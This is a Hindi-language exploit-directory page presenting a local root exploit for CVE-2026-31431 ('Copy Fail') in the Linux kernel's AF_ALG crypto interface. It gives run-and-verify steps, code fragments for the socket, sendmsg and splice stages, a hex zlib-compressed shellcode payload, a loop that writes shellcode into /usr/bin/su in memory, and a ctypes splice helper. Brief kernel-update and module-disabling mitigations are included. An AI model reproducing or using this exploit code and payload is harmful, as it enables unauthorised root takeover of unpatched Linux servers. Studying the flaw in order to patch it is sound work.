Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-31431 — कॉपी विफल - CVE-2026-31431 | Kitploit
उपकरण/GitHubGitHub/juanbindez/cve-2026-31431
विशेषाधिकार वृद्धिमेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणशेलकोडपेलोड डेवलपमेंटबाइनरी शोषण
GitHubjuanbindez/cve-2026-31431

CVE-2026-31431

कॉपी विफल - CVE-2026-31431

रिपॉजिटरी देखें
17563 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-31431


Copy Fail - CVE-2026-31431 विवरण

https://nvd.nist.gov/vuln/detail/CVE-2026-31431

https://copy.fail/#exploit

https://xint.io/blog/copy-fail-linux-distributions


परीक्षित डिस्ट्रो / संस्करण

डिस्ट्रोसंस्करण
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

एक्सप्लॉइट चलाना

root@kitploit:~
main.py

कमांड आईडी

root@kitploit:~
id

यदि ऐसा कुछ दिखाई देता है, तो इसका मतलब है कि अब आपके पास रूट एक्सेस है।

image

फिक्स में बस कुछ मिनट लगते हैं।

विकल्प 1: अपने कर्नेल को अपडेट करें (अनुशंसित)

root@kitploit:~
For Ubuntu/Debian: sudo apt update, sudo apt upgrade -y
For RHEL-based systems: sudo yum update

फिर अपने सर्वर को रिबूट करें।

विकल्प 2: प्रभावित मॉड्यूल को अक्षम करें (अस्थायी समाधान)

यदि अभी अपडेट करना संभव नहीं है, तो जोखिम कम करने के लिए कमजोर मॉड्यूल को अक्षम करें:

root@kitploit:~
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

इससे SSH, TLS, LUKS या OpenSSL प्रभावित नहीं होंगे।


हमला तकनीक: CVE-जैसी (क्रिप्टो API + splice)

यह लिनक्स कर्नेल AF_ALG क्रिप्टो सबसिस्टम में एक कमजोरी का शोषण करता प्रतीत होता है, जो splice()/sendmsg() के गलत उपयोग के साथ संयुक्त है:

  • कर्नेल पॉइंटर्स लीक करना
  • प्रक्रिया task_struct को दूषित करना
  • UID को 0 (रूट) पर एस्केलेट करना

1. AF_ALG सॉकेट उपयोग (38)

root@kitploit:~
a = s.socket(38, 5, 0)  # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
  • कर्नेल में एक क्रिप्टोग्राफिक सॉकेट बनाता है
  • AES-CBC + HMAC-SHA256 सिफर कॉन्फ़िगर करता है
  • वास्तविक उद्देश्य: आंतरिक कर्नेल API के साथ इंटरैक्ट करना

2. अस्पष्ट setsockopt (h=279)

root@kitploit:~
v(h, 1, d('0800010000000010'+'0'*64))  # option 1
v(h, 5, None, 4)                        # option 5 (NULL payload)
  • 279 = ALG_SET_KEY (क्रिप्टोग्राफिक कुंजी सेट करता है)
  • अप्रलेखित विकल्प जो ALG सबसिस्टम का शोषण करते हैं
  • कुंजी '0800010000000010' + शून्य — संभवतः कमजोरी ट्रिगर

3. मुख्य हमला तकनीक

root@kitploit:~
u.sendmsg([b"A"*4+c], [
    (h, 3, i*4),           # cmsg level 3 (ALG_OP?)
    (h, 2, b'\x10'+i*19),  # cmsg level 2
    (h, 4, b'\x08'+i*3)    # cmsg level 4
], 32768)
  • सहायक डेटा (नियंत्रण संदेश) के साथ sendmsg
  • 'i' (काउंटर) प्रति पुनरावृत्ति परिवर्तनीय आकार बनाता है
  • लक्ष्य: हीप स्प्रेइंग और कर्नेल मेमोरी भ्रष्टाचार

4. पाइपों के बीच splice()

root@kitploit:~
r, w = g.pipe()           # create anonymous pipe
g.splice(f, w, o, offset_src=0)      # copy from file to pipe
g.splice(r, u.fileno(), o)           # copy from pipe to socket

शून्य-प्रतिलिपि डेटा स्थानांतरण के बीच:

root@kitploit:~
/usr/bin/su (file) → pipe → crypto socket

splice उपयोगकर्ता→कर्नेल प्रतिलिपियों से बचता है → पूरी तरह से कर्नेल-स्पेस संचालन

5. डीकंप्रेस्ड पेलोड

हेक्स डेटा:

root@kitploit:~
78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3

78da से शुरू होता है → zlib हेडर

डीकंप्रेस्ड सामग्री में संभवतः शामिल है:

root@kitploit:~
शेलकोड (मशीन कोड)  
x86_64 विशेषाधिकार वृद्धि निर्देश  

6. su में पेलोड लिखना

root@kitploit:~
while i < len(e):
    c(f, i, e[i:i+4])  # writes 4 bytes of shellcode into su
  • मेमोरी में /usr/bin/su को दूषित करता है (डिस्क पर नहीं)
  • शेलकोड निष्पादन समय पर su प्रक्रिया में इंजेक्ट किया जाता है

7. अंतिम निष्पादन

root@kitploit:~
g.system("su")

[!NOTE] यदि लक्ष्य OS का python संस्करण <3.10 है तो इसे काम करने के लिए नीचे दिए गए कोड का उपयोग करें, लेकिन पहले syscall उपलब्धता की जांच करना सुनिश्चित करें।

root@kitploit:~
python3 - <<'PY'
import ctypes
libc = ctypes.CDLL("libc.so.6")
print("splice syscall wrapper exists:", hasattr(libc, "splice"))
PY

इस कोड स्निपेट को PAYLOAD_COMPRESSED अनुभाग के अंतर्गत जोड़ें:

root@kitploit:~
_libc = ctypes.CDLL("libc.so.6", use_errno=True)
_libc.splice.restype = ctypes.c_ssize_t
_libc.splice.argtypes = [
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_size_t,
    ctypes.c_uint,
]

def _splice(src, dst, count, offset_src=None, offset_dst=None, flags=0):
    off_in  = ctypes.byref(ctypes.c_int64(offset_src)) if offset_src is not None else None
    off_out = ctypes.byref(ctypes.c_int64(offset_dst)) if offset_dst is not None else None
    ret = _libc.splice(src, off_in, dst, off_out, count, flags)
    if ret < 0:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))
    return ret

su (स्विच यूज़र) निष्पादित करता है — अब दूषित पेलोड के साथ

संशोधित su बिना पासवर्ड की आवश्यकता के रूट लौटाता है

टूल डाउनलोड करें